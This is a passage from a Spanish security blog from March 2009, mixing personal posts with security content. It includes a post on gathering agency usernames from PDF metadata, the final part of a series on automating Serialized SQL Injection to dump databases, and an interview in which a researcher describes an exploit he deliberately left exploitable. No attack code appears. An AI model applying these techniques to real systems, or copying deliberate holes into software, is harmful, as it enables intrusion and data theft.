martes, marzo 31, 2009

Las pelotas de Chuck Norris

...han terminado en mi garganta. Sí, no soy de esos jovenzuelos que pasó por el quirófano para operarse de anginas, por lo que cuando me siento un poco resfriadito y atacado las amígdalas imitan a las pelotas de nuestro dios.

Sin embargo, como Chuck Norris, no he faltado al trabajo y he ido a dar por saco a la oficina, eso sí, no he tenido fuerzas para poner el post esta mañana y lo sé… me habéis echado de menos, que sois unos mimoson@s.

La realidad es que estoy cansado, muy cansado, y a veces tengo el cerebro con un sistema operativo Windows Homer-Edition, con menos RAM que cache L1. Estos días te levantas apático y es, justo ése, el momento en que los informáticos pensamos en ser… otra cosa. Dedicarnos a la cría y tráfico de María, a la comercialización de chips para consolas como hizo mi compañero de la universidad, a dedicarnos al surf, tocar la guitarra o como yo: a dibujar.

Así que he aprovechado para realizar un par de tiras de comics más que ya os iré publicando, para que los que “guardáis los post técnicos para más adelante” podáis verlos en un segundo y seguir con vuestra vida normal.

Sin embargo, me gustaría hacer algo nuevo para cambiar… y estoy pensando en que puede ser…tengo ganas de volver a hacer un reto, organizar algo….pero aun no lo tengo claro…¿idéas? Ya os diré lo que decida. De momento las noticias de hoy son: Estoy enfermo, pero no muerto, así que seguiré dando guerra…

Saludos Malignos!

lunes, marzo 30, 2009

La vista es más rápida que la mano

Que soy un usuario feliz con mi Windows Vista ya lo he dicho muchas veces. Que el sistema se porta conmigo bien y es bueno y me da calor, cariño y me acaricia en las noches turbias también. Mi Vista me mira con buenos ojos, me hace ojitos y yo estoy contento con él. Y a veces me pregunto por qué es así.

Esta mañana, a las 5 y media del nuevo horario ya estaba en pie para ir a coger un tren y he encendido el ordenador para ver rápidamente el correo. Esa hora es la hora de las prisas y mi tiempo era limitado, así que mi Vista, como siempre, se ha portado bien y ha arrancado en un pispas.

Yo ya estoy acostumbrado a él y no me sorprende demasiado, pero he querido leer un poco de cómo hacía el tema del ReadyBoot para conseguir arrancar así y la idea, como todas las buenas ideas es bastante sencilla.

Al final el arranque, salvo que haya cambios en el ecosistema de software del equipo o en la configuración del mismo debería ser el mismo arranque tras arranque o muy similar. Basándose en esta premisa entonces bastaría con analizar los últimos arranques para saber qué se va a necesitar cargar y en qué orden. Para conocer lo que el sistema ha necesitado cargar en los últimos arranques el sistema ReadyBoot utiliza varias fuentes de información.

La primera unos bonitos archivos de traza que guarda en C:\Windows\Prefetch\ReadyBoot. Sí, esos archivos están protegidos a nivel de sistema pues son las delicias de los analistas forenses para saber que uso se ha dado al equipo. La información de traza los últimos cinco arranques ayudará a decidir, junto a las estadísticas de arranque de cada vez, el mejor plan de actuación.


Archivos de traza de arranque

La segunda fuente de información son unas estadísticas que le permiten al sistema tomar decisiones de optimización y cambio, en el registro. Está en la rama: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ecache\Parameters.


Ecache.sys en registry

Ecache.sys es el servicio que implementa el ReadyBoot y es el que acaba decidiendo cual debe ser el plan para que sea más eficiente, pero.. ¿en qué consiste el plan para ser más eficiente en el arranque y hacerlo en menos tiempo? Pues en algo tan sencillo como hacer prefetching con la mejor información de arranque que se tenga.

Así, nada más arrancar el sistema se evalúa que es lo que se va a necesitar en el arranque y se genera una memoria cache en RAM con lo que se va a necesitar en el arranque. Esto sólo se aplica si tienes más de 700 megas de memoria RAM, si no, nada, se usa el mismo proceso de arranque que en Windows XP.

La idea es que en un proceso de arranque los aciertos de caché que se pueden obtener con los principios de localidad temporal y localidad espacial son mucho menores que si se aplica una heurística basada en los últimos cinco arranques anteriores.

Microsoft dice que el incremento de aciertos es del 20% en media. En las estadísticas de mi querido Windows Vista el índice de acierto de mi último arranque es de 86,42 %.


¡Cuánto nos queremos!

Yo le trato bien, él me trata bien. Somos como Spiderman y Venom. Él el fotografo, yo el maligno.

Saludos Malignos!

domingo, marzo 29, 2009

Control Mental

El trabajar con compañeros como los tengo tiene muchas ventajas, y eso es perfecto para mí. Algunos me cuentan lo que han descubierto, otros lo que han leído, otros lo que les ha sucedió y todos, todos, siempre cosas interesantes.

Lo divertido es cada uno tiene un perfil distinto. Están los emocionados con la seguridad informática, los amantes del desarrollo, los colgaos del hardware y, cómo no, los “gamers”.

Esto hace que cuando haya regalos para los cumpleaños pasen por allí cosas peculiares. Este año, en el mes de Febrero cayó el cumple de uno de nuestros gamers y se le compró, como regalo, uno de esos nuevos cacharros para controlar el juego con la mente. Sí, yo también pensé que eso no tenía que ser nada fácil, pero seguro que si alguien podía hacerlo era nuestro McGiver personal.


El cacharro es parecido a este que tiene la gente Emotiv Systems, pero algo más sencillo, basado en una cinta que se pone alrededor de la frente. Las pruebas que realizó dijo que eran "curiosas". Había decidido utilizar la mente para cambiar de arma mientras apuntaba en los juegos de “tiros en primera persona” y nos confesaba que aun le costaba manejar las ondas alpha para comunicarse con el interfaz.

La curiosidad acabó ahí para mí hasta que llegué a una librería. La lectura ha sido uno de mis vicios desde siempre. Leer ha llenado muchas de las horas de mi vida y siempre he confiado en ella como método de aprendizaje. Tanto es así que la lectura la utilizo para todo. Mezclo el aprendizaje de inglés, con la lectura de libros y a ser posible con mis fricadas, lo que me lleva a leer libros en inglés de superhéroes o de la guerra de las galaxias o de Indiana Jones o de James Bond….o… Y lo mismo con la informática y o la ciencia ficción.

Llegué a la librería y al llegar a la sección de Ciencia Ficción me encontré con las novelas de Neil Stephenson. Después de haber leído el Criptonomicón y SnowCrash, las novelas de Neil Stephenson están en mi target, así que les eché un ojo. "El ojo" acabó con la compra de las primeras novelas del Ciclo Barroco y e “Interfaz”. Esta última novela la compré justo por culpa del cacharro y devoré sus más de 500 páginas.

La temática es la siguiente: 100 personas en los USA seleccionadas para que transmitan sus emociones mediante un cacharro que se llama PIPER y que transmite sus reacciones ante lo que ven. Esas transmisiones muestran reacciones positivas o negativas ante lo que se les va emitiendo: Discursos de candidatos en una campaña por el control de la presidencia en los USA. Y desde esas reacciones se transmite a la mente del político una serie de ordenes para que modifique su discurso. Para comunicarse con la mente del político se le instala un chip que hace de Interfaz…

Curioso, ¿no?, pues léete el libro que leer es barato….

Saludos Malignos!

viernes, marzo 27, 2009

Espiando a los espías

Que soy un mitomano es sabido por los que me conocen bien y por tanto, James Bond es uno de los mitos que me gusta disfrutar. Tengo sus tiras de prensa, novelas, comics y por supuesto películas. Siempre me ha gustado jugar a los espías, así que... vamos a jugar hoy a ser espía.

La idea es muy sencilla. Hay que sacar usuarios de los sitios que nos espían para espiarlos nosotros a ellos. Para hacer esto vamos a jugar, al estilo quimicefa, con el ojo maligno de Sauron a.k.a. Google, los metadatos de los PDFs y las rutas de los perfiles en Windows.... et voilá!

- Tu usuario del FBI


- Tu usuario de la casa blanca


- Tu usuario de Scotland Yard


- Tu usuario de los carabinieri


- Tu usuario de la ONU


Saludos Malignos!

jueves, marzo 26, 2009

Eventualiades

Hacía mucho que no os daba el coñazo con mis próximas "apariciones" en saraos y demases, así que aprovechando que hoy estáis tranquilos porque ayer os "calcé" la última parte de un artículo técnico os voy a poner una lista de cosas para el próximo mes y algo.

Tudela [III Semana de la Seguridad], esta tarde.

Es la semana de la seguridad informática que llevan realizando anualmente los últimos años y yo voy a estar esta tarde de 17:00 a 19:00 hablando de Metadata Security. Ya sabéis, FOCA, Metashield Protector y alguna cosa más.

Cáceres [XtreLan 2009], mañana por la tarde

Según acabo Tudela, aprovecho, y como me pilla de paso, me bajo a Cáceres a participar en la party que tienen organizada allí. Para ser novedosos y no repetirme voy a hablar de Metadata Security. Ya sabéis, FOCA, Metashield Protector y alguna cosa más.

Madrid [Virtualización Inteligente], 31 de de Marzo

No hablo allí, pero sí que me voy a pasar a saludar a los amigos y amigas por Kinépolis. Me tomaré café con el que vaya y aprenderé del maestro Cervigón [¡quién diría que iba a aprender tanto de cómo se da una charla el primer día que nos dio el coñazo con el WSUS!]

Valencia [Hol-Seg20], 1 de Abril

Como cuando se hizo la gira de seguridad se quedó gente sin poder asistir al HOL-Seg 20 de Seguridad en aplicaciones web, la semana que viene voy a ir el miércoles por la mañana y el hol tendrá una parte antes de la comida, luego nos vamos a comer todos juntitos, sesión de tarde y regreso por la noche a los Madriles. Ya sabéis, SQL Injection, SQL Injection con errors ODBC, Blind SQL Injection, Time-Based Blind SQL Injection, Time-Based Blind SQL Injection using Heavy Queries, Arithmetic SQL Injection, Serialized SQL Injection, Deep Blind SQL Injection, Lateral SQL Injection, RFD, LDAP Injection y Blind LDAP Injection.

Barcelona [Virtualización Inteligente], 2 de de Abril

No hablo allí, y tampoco me voy a pasar a saludar a los amigos y amigas por Barna. No me tomaré café con el que vaya y no aprenderé del maestro Cervigón [¡quién diría que iba a aprender tanto de cómo se da una charla el primer día que nos dio el coñazo con el WSUS!]

Amsterdam [BlackHat Europe 2k9], 17 de Abril

Junto con Enrique Rando estaremos cantando sobre Metadata Security, pero en plan Eurovisión, es decir, cantaremos en inglés a lo Acuarius de Raphael, nos fumaremos una planta y nos volveremos más a gusto que un arbusto, más felices que perdices y más contentos que la abeja Maya en la granja San Francisco.

Pamplona [HOLS de Exchange Server 2k7], 20 de Abril

Toda una semana con HOLs en Pamplona, esta vez con un monográfico de Microsoft Exchange Server 2k7 a tutitplen. 6 hols para que aprendas bien de una vez sí señor y por todas como funciona esa máquina que se llama Exchange Server 2k7.

Madrid [FTSAI III], 24 de Abril

El viernes 24, para los adictos a la seguridad comienza el módulo dedicado a seguridad de servidores y clientes en el FTSAI III que se realiza los viernes. Este módulo durará 5 viernacos que debes dejar en manos de nosotros, para que te contemos batallitas sobre seguridad informática.

Bilbao [Mandingo & friend’s Con], 24 de Abril

La gente de Blind Security se ha currado una Con sobre técnicas hacker para la zona de Bilbao. Va sin mucho espacio porque será una reunión para 40 personas, pero quieren que los trabajos sean chulos, así que hay un proceso de CFP que se cierra el día 6 de Abril para los ponentes, luego te tienes que registrar online antes del 17 de Abril y el viernes 24 y Sábado 25 tendrá lugar.

Barcelona [AD Movies], 29 de Abril

Ese día me toca hacer de TRON en un evento de DIRECTORIO ACTIVO junto con la gente de Quest. Me toca tirar de MVP de Microsoft y hablar de la tecnología de Spectra. Ya está bien de tanto metadato y tanta inyección, así que iré a hablar de tecnologías de virtualización. Esto implica que ya sí, de una vez por todas, cambiaré mi Windows Vista a un Windows Server 2008 hyper-v para correr mi Vista virtualizado…¿será para siempre? Como es un evento pijo, con película y todo, se hará en una sala de proyección y no habrá mucho hueco, así que si quieres venir, reserva cuanto antes tu silla…

Logroño [Extreme Security], 5 de Mayo

El día 5 de Mayo estaremos el Dab, Pedro Sánchez, Juan Garrido "silverhack" y yo en Logroño con una charla, pero aun no tengo link de registro y más info. Así que símplemente estád atentos si os interesa asistir.

Madrid [Seguridad en Redes Sociales], 6 de Mayo

De la cátedra Capdesi UPM App+ y Criptored, y todo esto alimentado por el motor 6 cilindros en V que es el pequeño Little Buda, tendrá lugar el seminario de seguridad en redes sociales. Ya sabéis, no subáis fotos de vuestros lunares en sitios chungos al twenty o al facebook. Yo tampoco hablo ese día pero intentaré pasarme por allí, que para algo es mi escuela y así aprovecho a ver los chavales de hoy en día (¡cuídalos presi!).

Barcelona [V OWASP Spain Chapter Meeting], 15 de Mayo

Otra vez a Barcelona, pero esta vez a cantar en la reunión de OWASP y sobre algo de lo que creo que no he hablado en Barcelona nunca en una charla completa. Sobre LDAP Injection y Blind LDAP Injection. Una sesión de tarde en la que habrá una agenda repletita de charlas.

Y con esto y un bizcocho, me abro y no de patas.

Saludos Malignos!

miércoles, marzo 25, 2009

Serialized SQL Injection (Parte VI de VI)

*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************

Automatización

Una vez vistas las formas en las que es posible extraer un gran conjunto de información en una única columna mediante serialización XML, la automatización es bastante sencilla. Al ser obtenidos los datos en XML es cómodo asociar los datos recibidos a un componente que los procese en un cómodo interfaz gráfico.

Trabajando sobre la base de Marathon Tool, de la que está disponible el código fuente, es fácil adaptar la herramienta para que funcione con los tres motores de bases de datos analizados.


Configuración de la inyección

Una vez configurada la inyección, extraer la estructura de la base de datos sería realizar una consulta para obtener la lista de los nombres de las tablas creadas en esa base de datos o esquema.


Estructura del esquema Oracle

Una vez obtenidas las tablas, se puede extraer la lista de registros con una consulta si es Microsoft SQL Server o con dos si es una base de datos Oracle o MySQL. Para estas dos bases de datos se necesita realizar primero una consulta para conocer los campos de la tabla y la segunda para extraer los datos de la misma. En Microsoft SQL Server no es necesario puesto que hay soporte para el comodín *.


Datos de la tabla extraidos

Como se puede ver, en un entorno Oracle como el de las capturas, son necesarias tres inyecciones para sacar todos los datos de una tabla.


Log de inyecciones necesarias

Referencias

Daniel Kachakil publicó SFX-SQLi con soporte para Microsoft SQL Server 2005 y 2008. La herramienta está publicada en la siguiente URL [http://www.kachakil.com/papers/SFX-SQLi-es.htm] junto con el código fuente y un paper en español e inglés sobre cómo utilizar las inyecciones For XML.


SFX SQLi

La referencia a For XML puede ser encontrada con todos los matices en la biblioteca de MSDN: http://msdn.microsoft.com/en-us/library/ms345137.aspx

La presentación que utilizamos Palako y yo en la ShmooCon dónde se recoge un sumario de Serialized SQL Injection está disponible en la siguiente URL: Re-Playing with SQL Injection.

Alex Kornbrust explicó su método para inyecciones Oracle serializadas en un post en su blog en la siguiente URL: http://blog.red-database-security.com/2009/02/08/new-sql-injection-whitepaper-for-sql-server/

Marathon Tool está disponible en la siguiente URL: http://www.codeplex.com/marathontool

*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************

martes, marzo 24, 2009

Reemplazados

Cuando era más joven iba a los sitios contando que yo era informático. Les contaba a todos la cantidad de cosas que sabía hacer e incluso me enzarzaba en discusiones sobre cómo se hacía una cosa u otra. Ahora, las cosas han cambiado y cuando no me conocen suelo ocultar que soy informático. Dejo que otros ocupen ese rol de “el informático” y hablen de ordenadores. Me gusta estar en el otro lado y apuntillo las conversaciones con frases del tipo: “Estos ordenadores del demonio van a acabar conmigo”, “¡nunca funciona nada!”, “es que no me apaño con el ordenador y no he podido imprimirlo” o cosas así. Mola.

Un día le pedí a uno de mis vecinos por una llave para abrir una puta tuerca que no sabía ni como coño meterle mano. Yo excusé mi torpeza diciendo “es que yo trabajo con los ordenadores y todo lo que no tenga teclas….”, él, que tiene una cuadrilla de construcción de la que es el jefe me dijo: “Yo también”.

Vaya, mira que bien, no voy a tener que arreglarle nunca nada a cambio. Estuve hasta tentado de preguntarle algo para que se luciera. Algo en plan molón, que se lleve en la cultura del vecino informático. No sé, como ripear películas o como configurar el torrent para que descargue más rápido.

No dije nada, sólo le sonreí y lo dejé pasar. Total, no le voy a contar mi vida a unos vecinos que me ven menos que mi madre, u ocupar el rol de informático mancomunitario. Así, cuando alguien me dice algo ya sé a quién tengo que redirigirles. “Pregúntale a Jose que él sabe de estas cosas”

Esta actitud me ha llevado a tener que escuchar demostraciones de cómo se utiliza el USB para pasar fotos desde el móvil por un taxista o a un quiosquero explicarme como utilizar el google maps para encontrar una calle. Me encanta que me enseñen. Es mejor eso a que te digan que tiene un problema con un driver o que te den un teléfono móvil para que le configures el MMS porque no puede recibir mensajes con fotos de sus hijos en la playa.

Lo divertido y peligroso es que cuando te dedicas a seguridad informática las cosas que te pide la gente no son configurar drivers. Te piden cosas como “¿le podrías sacar la info de los precios a una empresa de mi competencia?”, “¿Y podrías leer sus correos electrónicos?” o “¿Sería posible mirar el dinero que tiene en las cuentas sin que se entere?” y el clásico de entre los clásicos “¿Podrías ver con quién chatea por el Messenger?”

Y es que desde que hay gente como mi vecino ya no nos necesitan para minucias. Ahora, justo antes de empezar a escribir este texto, un operario del aeropuerto gritaba a otro …”oye, tú que eres un maestro ven a echarme una mano que no me funciona el corrector ortográfico y gramatical”.

Ya no nos necesitan, hemos sido reemplazados por una nueva especia que se ha doctorado en messenger, emule, torrent y correctores gramaticales…


Así acabarán

Saludos Malignos!

lunes, marzo 23, 2009

Entrevista a RoMaNSoFt

Durante mucho tiempo RoMaNSoFt era una marca que te encontrabas en sitios dónde menos te los esperabas. Unas letras en 3D antes de algún juego. ¿Quién es este tipo? Después, un día, pasa por tu blog y te deja un comentario. ¡Coño! ¿será el mismo? A este tipo le tengo que conocer. Así fue como después de algún reto hacking logré quedar con él en los madriles para tomar un café y charlar... y me encuentro a Román.

Román es adorable. Sí, es como un niño travieso hiperactivo, con timidez subida y mirada nerviosa. Gesticula al tiempo que habla, se ríe y se sonroja. Cuando se habla de algo que ha hecho él se le suben los colores y sonríe nerviosamente como si el estar en el centro del escenario le pudiera. Es hasta divertido sacarle los colores. El acento del sur que le acompaña hace de todo él un tipo genial y divertido.


RoMaNSoFt asombrado con su movil...

La segunda vez que nos juntamos, que fue la primera vez que conocí a Palako, tuvo lugar en una cervecería. Se vinieron a aquella reunión también Ricardo Varela, Atar, Rodol y Antonio Guzmán (todo un elenco). Y recuerdo como durante una conversación que tenían sobre la clave de una Wifi Román se quedó “enganchado” mirando al techo. "¿Qué haces Román?" “Na’,na’, calculando el tiempo en romper una clave así”.

En otra cena, el día antes del Asegúr@IT I, para el que había conseguido liarle y que cantara, quedamos en casa Mingo, en Madrid. “Aparca en el centro comercial de Príncipe Pio y vente andando Roman, es poco.” “¿A qué distancia está?” “Pues… a unos diez minutos a pie” “no, no, distancia en metros” “Pues… unos 600 metros”..”mmm, vale, a unos 7 minutos andando”. Así es Roman, un cerebro privilegiado, metido en el alma de un niño travieso y tímido.

Entañable.

1.- ¿Cuál fue tu primer encuentro con la informática?

No es fácil de recordar... era pequeñito... tendría unos 10 años :) Pero fue con un invento del mítico Sir Clive Marles Sinclair. Como no, se trataba del famoso Spectrum 48K ("el de las teclas de goma"), que modestamente no servía para mucho más que jugar pero que desde el primer momento despertó mi curiosidad. Aprendí BASIC con él, en parte debido a los gazapos que introducían las revistas de la época (realmente no recuerdo si había vida más allá de Microhobby) en los listados de los programas que incluían. Rara vez funcionaban a la primera lo que me obligaba a realizar pequeñas correcciones.

Al mismo tiempo mi padre se compró un Amstrad CPC6128, para trabajar. La idea era que mis hermanos y yo nos entretuviéramos con el "Speccy" y nos mantuviéramos alejados del CPC. No lo consiguió y al poco tiempo yo ya dominaba el BASIC del CPC (que era muchísimo más potente que el del Spectrum), algunos que otros truquitos como llamadas a subrutinas especiales (call &bb18 ...) y posteriormente un poco de ensamblador. Realicé por completo un programa de gestión de laboratorio, que es posible que todavía esté en producción ya que lo fui migrando a diferentes plataformas, pasando por el Amstrad PCW hasta el PC que todos conocemos.

También desprotegía juegos y hacía algo de trading (a pequeña escala; apenas me servía para financiar la compra de discos vírgenes). Fue a lo largo de esa época cuando se forjó el sello de "Roman Soft" (por razones obvias). Se fue haciendo poco a poco conocido por lo que me daba pereza cambiarlo. Al final todavía hoy lo mantengo (escrito como "RoMaNSoFt").

Luego tuve una segunda época muy fructífera con el Commodore Amiga. Me empollé el "Amiga Hardware Reference Manual" (de los primeros libros en inglés que recuerdo haber leído) y me lancé a la programación en 68000. Llegué a formar parte de uno de los grupos más prestigiosos de la scene nacional (LLFB -algunos los recordarán por su docs-), como programador ("coder" sonaba más cool) e hice un par de intros y alguna cosa que nunca llegué a publicar/terminar. Realmente era duro programar una intro en ensamblador ("ASMOne" rlz :)) partiendo de cero, sin ninguna librería gráfica o matemática y con el objetivo de aprovechar al máximo los escasos 7 MHz de CPU que tenía el Amiga. Pero esa era la gracia: tablas de seno/coseno a capón en el código, implementación de la matriz de rotación necesaria para efectos 3D, "double buffering", "clipping", optimización de código "manual" (nada de compiladores)... y muchas otras curiosidades. Se conseguían efectos muy suaves cuando en el PC de entonces ver un scroll que no fuera dando saltos era toda una proeza.

Pero de PC también había que saber así que, en paralelo, me puse al día con el MS-Dos (el Win 3.11 lo arranqué alguna vez pero realmente no lo llegué a utilizar en serio; comparado con el Workbench del Amiga, Win daba pena), scripting .bat y algún que otro cachondeo añadiendo alt-255 a ficheros y directorios para "impedir" el acceso a los mismos. El profe de informática creía que los diskettes tenían virus (bueno, a eso hay que añadir que intercambiamos -físicamente- las teclas Ctrl y Alt del viejo teclado de los IBM PS/2).

Estamos hablando del año 93 ya...


2.- ¿Y con el mundo de la seguridad informática?

... por aquel entonces entré en la Universidad. Coincidió más o menos con una serie de artículos de HPCV que leí en la revista digital de la escena española del Amiga ("Fanzine"), donde hablaban de terminales, monitorización de procesos y hasta de blue-boxing (el controvertido artículo de "Agnus Young"). Conseguí mis primeras cuentas tanto en Ultrix como en VMS. Me enamoré de Unix y comencé a aprenderlo a base de "man ". Un día en la residencia vi a un compañero de un curso superior con un libro muy gordo que me llamó la atención y se lo pedí prestado. Su título: "Unix System V Release 4" (Rosen). Me lo leí de cabo a rabo.

Sistemas multiusuario, contraseñas encriptadas, permisos de ficheros, un potente sistema de scripting... simplemente genial para alguien que venía del mundo monousuario y con sed de aprender cosas nuevas. Ni qué decir tiene que la seguridad en aquella época brillaba por su ausencia: filesystems montados por NFS, /etc/passwd con contraseñas (shadow, ¿qué era shadow?), NIS... el paraíso del hacker ;-)

El acceso a Internet estaba muy limitado... tanto que nuestras cuentas de alumnos no tenían ni acceso web (/gopher) ni siquiera e-mail (qué triste) así que me construí un sencillo sistema de mensajería basado en shell (bourne shell) para intercambiar mensajes con mis compañeros. Utilizaba un directorio en cada home, con permisos especiales, que hacía las veces de spool. El sistema era "relativamente" seguro (todo lo seguro que puede ser un sistema así, se entiende) y lo mejor de todo, funcionaba. Pero no gustó a los administradores, que me acabaron llamando la atención. No quiero generalizar pero muchos de los sysadmins de aquella época eran meros funcionarios que hacían lo justo para que sus sistemas se mantuvieran en pié; no controlaban de seguridad ni parecía interesarles demasiado. Simplemente miraban algún que otro log y si descubrían, por ejemplo, una cuenta de usuario compartida, la cerraban. Los usuarios eran muy inocentes; frecuentemente te encontrabas con sesiones abiertas en el terminal vt100 (los PCs eran muy caros todavía para ser usados como terminal...), por desconocimiento.


Al año más o menos tuve acceso al correo electrónico y a las news. Corrían los tiempos del "elm" y del "pine" (y de los agujeros de sendmail...). Me suscribí a diversos grupos de Netnews, incluído es.comp.hackers (nada del otro mundo pero era lo que había). Comenzaron los primeros piques...

Absorbía documentación... Me bajaba archivos gracias a pasarelas "ftpmail". No teníamos acceso a ftp, ni siquiera a www. Más tarde, abrirían un penoso canuto por el que dejaban bajarse contenido web a "increíbles" tasas como los 200 bytes/segundo (no, no me he olvidado ninguna "k"). Nos sabíamos todos los atajos del "lynx", qué desesperación :)


El teléfono era caro y yo vivía en una pequeña (y gran) ciudad por lo que no tenía acceso a ninguna BBS. Menos mal que llegó el boom de los ISP e Infovía. Los 28.8 kbps de mi modem junto al Netscape Communicator me sabían a gloria. Eran los tiempos de webs como "rootshell" y del IRC. Conocí a mucha gente, estaba enganchado a este último y tenía un PC con RedHat 4.2, lleno de artillería pesada. De esta etapa nacería mi conocido artículo de "Tácticas de guerra en el IRC". Los usuarios, con sus Win95 con recursos compartidos, desfilaban por la red de redes ofreciendo generosamente su perfil de "acceso telefónico a redes", lo que permitía obtener el usuario y contraseña del ISP. Aunque muchas veces no eran necesarios: los ISPs utilizaban CGIs peligrosos, que posibilitaban la obtención de las contraseñas (encriptadas) de *todo* el ISP... La conocida tool de Alec Muffet echaba humo. ¿Quién no recuerda a "Crack"?

Incluso en esa etapa más o menos oscura que todos hemos tenido jamás borré un home ni obtuve beneficio económico alguno. Simplemente me limité a aprender todo lo que pude, sin hacer daño a nadie.

3.- Siempre has sido un poco polémico, que si le das caña a Hispasec, que si le das caña a S21Sec, que si paso “no-se-qué” en boinas negras, que si el Reto Hacking de el lado del mal…¿cómo es que no te han partido las piernas aun?

Esta pregunta va con trampa, ¿verdad? Vamos por partes. Creo que no es malo ser un poquitín polémico (siempre en su justa medida, claro). Significa que estás vivo, que no eres un mero espectador: cuestionas las cosas, las analizas con conocimiento de causa y por último las criticas constructivamente. La diferencia estriba en el sentido que uno le de a esas críticas y si éstas son o no fundadas. Respecto a lo primero, mis críticas nunca han pretendido herir a nadie (y si alguien se ha sentido ofendido, que me perdone O:-)) sino que pretenden llamar la atención para que se mejoren las cosas. Sobre lo segundo, decir que como buen teleco me considero bastante calculador y estricto. Me puedo equivocar, como no, pero soy de los que "pierden el tiempo" en repasar las cosas una y otra vez, antes de darlas por válidas, buscando una calidad más que aceptable y reconozco que me fastidia cuando otros no lo hacen así (que por otro lado y por desgracia, es lo normal) y por su culpa acabo perdiendo mi valioso tiempo. Te pongo un ejemplo: ¿qué pasa cuando pierdes un día intentando romper un nivel de un reto y luego resulta que ese nivel no se podía superar porque estaba mal programado? ¿Y si eso mismo ocurre de forma reiterada? Incluso haciendo uso de mis más malignas tácticas (como dejar a Kachakil ir por delante, abriendo paso y reportando esos fallos), al final te acabas cabreando...

Por otro lado, mi "lista de polémicas" no es tan grande :-))) Casi que las has resumido en el enunciado de la pregunta, no sé si merece la pena entrar al trapo (son "públicas", si sabes buscar en Google y en listas de correo). Tanto Hispasec como S21Sec son empresas de conocida solvencia en el panorama nacional de la seguridad y tengo buenos amigos que están en (o han pasado por) ellas. Pero también pueden llegar a ser criticables ya que nadie es perfecto. Y hasta aquí puedo leer :-#

4.- ¿Cómo has aprendido seguridad informática? (y no me digas leyendo aquí y allá)

Pues no te lo digo (porque ya lo has dicho tú...). Siempre he sido autodidacta. El secreto está en cuestionarte todo... ¿cómo o por qué funciona tal cosa? ¿Qué ocurre si modifico...? ¿Cómo se podría mejorar...? Lo podría resumir en tres palabras: "leer", "cacharrear" y "tiempo".

5.- ¿Cómo te dejaste liar para cantar en el Asegúr@IT I con lo tímido que eres?

Uf, ya te vale. Un gran secuaz de Spectra nos engañó a todos... Este maligno ser le dijo a Kachakil que yo iba a "cantar" (como tú lo llamas); y a mí me dijo lo propio de Kachakil. Y así fue haciendo con todos los ponentes de forma que cada uno pensaría: "pues si los demás lo hacen, yo también". ¡Te quedaste con todos, mamonazo!

6.- ¿En cuántos retos hacking has participado? ¿Cuál ha sido el que más te ha entretenido?

He participado en muchos, sería imposible acordarme de todos. Algunos ejemplos: cyberarmy, izhal, hackerslab, arcanum, mod-x, los tres boinas negras (en realidad eran dos y medio; el tercero fue interrumpido), los dos hack21, yoire, blindsec, los dos ngsec, prequals de Defcon y de Codegate 2009... y hace unos días me apunté a uno de los antiguos retos de pulltheplug (Vortex). En todos he aprendido algo. Recuerdo como altamente técnico y real el de hackerslab pero el que más me ha entretenido fue el primer boinas negras (por el tipo de reto, singular premio y sobre todo por la época... estuvo muy bien organizado e implementado -Gonzalo se lo curró- y tuvo una muy buena acogida).

¿Para cuándo un Boinas #4? ¿O un Hack21 #3? Se lo tendrás que preguntar a Gonzalo o a Barroso cuando los entrevistes un día de estos...

7.- ¿En cuántas listas de correo estás suscrito?

Bastantes, aunque no las leo todas; sí las "reviso" por encima. Entre las más atractivas destacaría Dailydave, las de Securityfocus y alguna que otra privada (si te lo contara te tendría que matar...). De todas formas, con la proliferación de los blogs y los RSS es fácil mantenerse al día sin leer ni una sola lista de correo; de los blogs españoles me gustan, entre otros, el de S21sec, Hispasec, SbD y cómo no, el tuyo. Lo suyo es combinar todas las fuentes: listas de correo y blogs.

8.- ¿Cómo te apañas para recordar los nicks de todo el mundo y saber lo que han hecho y han publicado?

No exageres, mi memoria no es tan buena. Tendría que ampliarla... Pero sí es cierto que me gusta seguirle la pista a mucha gente, tanto española como extranjera.

9.- ¿Has probado ya Windows 7?

No. ¿Y tú Debian 5? :-) Desde hace muchos años mi política respecto a Windows ha sido la de ir siempre una versión (o en su defecto, algunos Service Packs) por detrás; la experiencia ha demostrado que me puedo ahorrar algunos disgustos. Actualmente estoy contento con XP para el desktop, con Debian para servidores y diferentes live-cds para menesteres varios (pen-test, etc).

10.- ¿Cómo es posible que te hicieran un exploit para un exploit que habías hecho tú?

"Me alegra que me hagas esta pregunta...". Nos remontamos a Marzo de 2003, fecha en la que publiqué mi exploit (rs_iis.c - http://www.rs-labs.com/exploitsntools/rs_iis.c) para IIS 5/Webdav. Llegó a ser tremendamente conocido y referenciado incluso en libros (por ejemplo, en el "Network Security Assessment" de Chris McNab, si no recuerdo mal).

Introduje un buffer overflow *a drede* y lo *documenté* en el código:

"// This code is not bullet-proof. An evil WWW server could return a response bigger than MAXBUF
// and an overflow would occur here. Yes, I'm lazy... :-)"

Se trataba de una especie de backdoor documentado. La idea era, por un lado, provocar (ya sabes, me gusta polemizar... y por tu pregunta veo que lo conseguí), y por otro, tener a mano una pequeña salvaguarda, en caso de que los "script-kiddies" se pasaran de la raya lanzando el exploit a diestro y siniestro. Realmente no pensé que nadie se molestaría, más tarde, en construir el "exploit" que aprovechara dicha puerta trasera. Y aún menos que algunos aprovecharían todo esto para criticarme, bien por desconocimiento o incluso con cierta malicia.


11.- ¿No te dijeron nada los de Debian por ser tú el que programó el exploit con que tiraron Gluck?

Primero he de aclarar que yo sólo soy coautor del exploit (rs_prctl_kernel.c - http://www.rs-labs.com/exploitsntools/rs_prctl_kernel.c), y que de hecho la parte principal del mismo es obra de dreyer (ver cabecera/comentarios del exploit). En todo caso, ¿por qué nos tenía que decir nadie nada? Nosotros no tuvimos nada que ver con ese hackeo (ni con ningún otro).

12.- ¿Cuál ha sido el mejor libro de seguridad que has leído?

Tengo una amplia colección, me gusta además tenerlos en papel, en parte por comodidad, en parte por colaborar con los autores (salvo excepciones –algún bestseller- escribir un libro técnico no creo que compense económicamente y sí que conlleva mucho trabajo).

